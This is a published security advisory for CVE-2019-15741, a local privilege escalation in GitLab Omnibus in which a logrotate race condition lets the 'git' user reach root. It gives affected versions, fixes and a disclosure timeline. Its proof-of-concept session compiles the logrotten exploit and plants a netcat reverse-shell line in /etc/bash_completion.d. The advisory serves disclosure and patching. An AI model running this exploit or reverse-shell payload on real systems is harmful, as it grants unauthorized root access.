GitLab Omnibus 12.2.1 Logrotate Privilege Escalation

`# Privilege Escalation via Logrotate in Gitlab Omnibus   
  
## Overview  
Identifier: AIT-SA-20190930-01  
Target: GitLab Omnibus  
Vendor: GitLab  
Version: 7.4 through 12.2.1  
Fixed in Version: 12.2.3, 12.1.8 and 12.0.8  
CVE: CVE-2019-15741  
Accessibility: Local  
Severity: Low  
Author: Wolfgang Hotwagner (AIT Austrian Institute of Technology)  
  
  
## Summary  
Omnibus GitLab is a way to package different services and tools required to run GitLab, so that most users can install it without laborious configuration.  
  
  
## Vulnerability Description  
GitLab Omnibus sets the ownership of the log directory to the system-user "git", which might let local users obtain root access because of unsafe   
interaction with logrotate.  
  
User “git” owns the log directory /var/log/gitlab:  
  
```  
# logdir in gitlab-ee:   
drwxr-xr-x 19 git root 4096 May 12 18:43 /var/log/gitlab/  
```  
  
Log files rotate once a day (or any other frequency if configured) by logrotate as user root. The configuration does not use the “su” directive:  
```  
# logrotate-config of gitlab-ee:   
/var/log/gitlab/gitlab-workhorse/*.log {   
hourly   
rotate 30   
compress   
copytruncate   
missingok   
postrotate   
endscript   
}  
```  
  
Due to logrotate is prone to a race-condition it is possible for user "git" to replace the  
directory /var/log/gitlab/gitlab-workhorse/ with a symbolic link to any  
directory(for example /etc/bash_completion.d). Logrotate will place  
files as user “root” into /etc/bash_completition.d and set the owner of the file to "git".  
An attacker could simply place a reverse-shell into this file. As soon as root logs in, a reverse  
root-shell will be executed.  
  
Details of the race-condition in logrotate can be found at:  
* https://tech.feedyourhead.at/content/details-of-a-logrotate-race-condition  
* https://tech.feedyourhead.at/content/abusing-a-race-condition-in-logrotate-to-elevate-privileges  
* https://github.com/whotwagner/logrotten  
  
## Proof of Concept  
The following example illustrates how an attacker who already gained a shell as user “git”, can elevate his privileges to “root”. After downloading and compiling,   
the exploit gets executed and waits until the next daily run of logrotate. If the rotation of the log file succeeds, a new file that contains the reverse shell   
payload, will be written into /etc/bash_completition.d/ with owner “git”. As soon as root logs in, the reverse shell gets executed and opens a shell on the   
attackers netcat listener:  
  
```  
git@Stretch64:~$ git clone https://github.com/whotwagner/logrotten.git   
/tmp/logrotten  
Cloning into '/tmp/logrotten'...  
remote: Enumerating objects: 84, done.  
remote: Counting objects: 100% (84/84), done.  
remote: Compressing objects: 100% (58/58), done.  
remote: Total 84 (delta 35), reused 64 (delta 24), pack-reused 0  
Unpacking objects: 100% (84/84), done.  
git@Stretch64:~$ cd /tmp/logrotten && gcc -o logrotten logrotten.c  
git@Stretch64:/tmp/logrotten$ ./logrotten -c /var/log/gitlab/gitlab-  
workhorse/something.log  
Waiting for rotating /var/log/gitlab/gitlab-workhorse/something.log...  
Renamed /var/log/gitlab/gitlab-workhorse with /var/log/gitlab/gitlab-workhorse2   
and created symlink to /etc/bash_completion.d  
Done!  
git@Stretch64:/tmp/logrotten$ ls -l /etc/bash_completion.d/  
total 20  
-rw-r--r-- 1 root root 439 Sep 28 2018 git-prompt  
-rw-r--r-- 1 root root 11144 Oct 28 2018 grub  
-rw-r--r-- 1 git git 33 May 12 18:44 something.log.1.gz  
git@Stretch64:/tmp/logrotten$ echo "if [ \`id -u\` -eq 0 ]; then (/bin/nc -e   
/bin/bash localhost 3333 &); fi" > /etc/bash_completion.d/something.log.1.gz  
git@Stretch64:/tmp/logrotten$ nc -nvlp 3333  
listening on [any] 3333 ...  
connect to [127.0.0.1] from (UNKNOWN) [127.0.0.1] 55526  
id  
uid=0(root) gid=0(root) groups=0(root)  
ls -la  
total 32  
drwx------ 4 root root 4096 May 12 18:47 .  
drwxr-xr-x 22 root root 4096 Apr 25 18:31 ..  
-rw------- 1 root root 1405 May 12 19:59 .bash_history  
-rw-r--r-- 1 root root 570 Jan 31 2010 .bashrc  
drwx------ 3 root root 4096 May 12 18:47 .config  
-rw-r--r-- 1 root root 148 Aug 17 2015 .profile  
drwx------ 2 root root 4096 Apr 25 18:40 .ssh  
-rw------- 1 root root 2194 May 12 17:29 .viminfo  
```  
  
## Vulnerable Versions  
7.4 through 12.2.1  
  
## Impact  
An attacker who already achieved a valid shell as user “git” could elevate the privileges to “root”. The fact that another exploit is   
needed to get a shell lowers the severity from high to low.  
  
## Solution  
Update to GitLab Security Release: 12.2.3, 12.1.8, and 12.0.8  
  
## References:  
* https://about.gitlab.com/2019/08/29/security-release-gitlab-12-dot-2-dot-3-released/  
* https://gitlab.com/gitlab-org/omnibus-gitlab/issues/4380  
* https://hackerone.com/reports/578119  
  
## Vendor Contact Timeline  
  
* `2019-05-12` Contacting vendor through HackerOne   
* `2019-05-31` GitLab acknowledges the vulnerability   
* `2019-08-22` Notification from GitLab about the release that includes a patch   
* `2019-08-30` GitLab changed the severity from high to low and released an update that fixed the problem   
* `2019-09-30` Public disclosure   
  
## Advisory URL  
http://www.ait.ac.at/ait-sa-20190930-01-privilege-escalation-via-logrotate-in-gitlab-omnibus  
  
  
  
  
  
`